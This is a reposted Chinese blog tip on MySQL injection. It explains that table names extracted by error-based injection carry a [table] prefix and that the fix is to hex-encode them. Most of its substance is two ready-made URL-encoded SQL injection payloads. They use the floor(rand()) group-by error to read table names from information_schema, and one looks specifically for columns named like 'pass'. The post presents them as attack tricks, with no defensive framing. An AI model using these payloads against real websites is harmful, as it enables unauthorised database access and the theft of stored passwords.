首页 > 数据库技术 > 详细

Mysql注入总结(三)

时间:2015-08-12 14:52:42      阅读:173      评论:0      收藏:0      [点我收藏+]

昨天整理点东西的时候看到了几年前以前收集的一篇文章,今天也就写两个字。

说的是爆表的时候出现[table]前缀,后来改用hex(),然后unhex()出现真正的表名


代码如下:

‘union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+table_name+from+information_schema.columns+where+table_schema=database()+and+column_name+like+‘%pass%‘+limit+0,1),0x3a)a+from+information_schema.tables+group+by+a)b#-1.html


‘union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+hex(table_name)+from+information_schema.tables+where+table_schema=database()+limit+48,1),0x3a)a+from+information_schema.tables+group++by+a)b#-1.html


原文:《MYSQL注入解决方括号[table]前缀问题》

Mysql注入总结(三)

原文:http://maxvision.blog.51cto.com/6269192/1683949

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!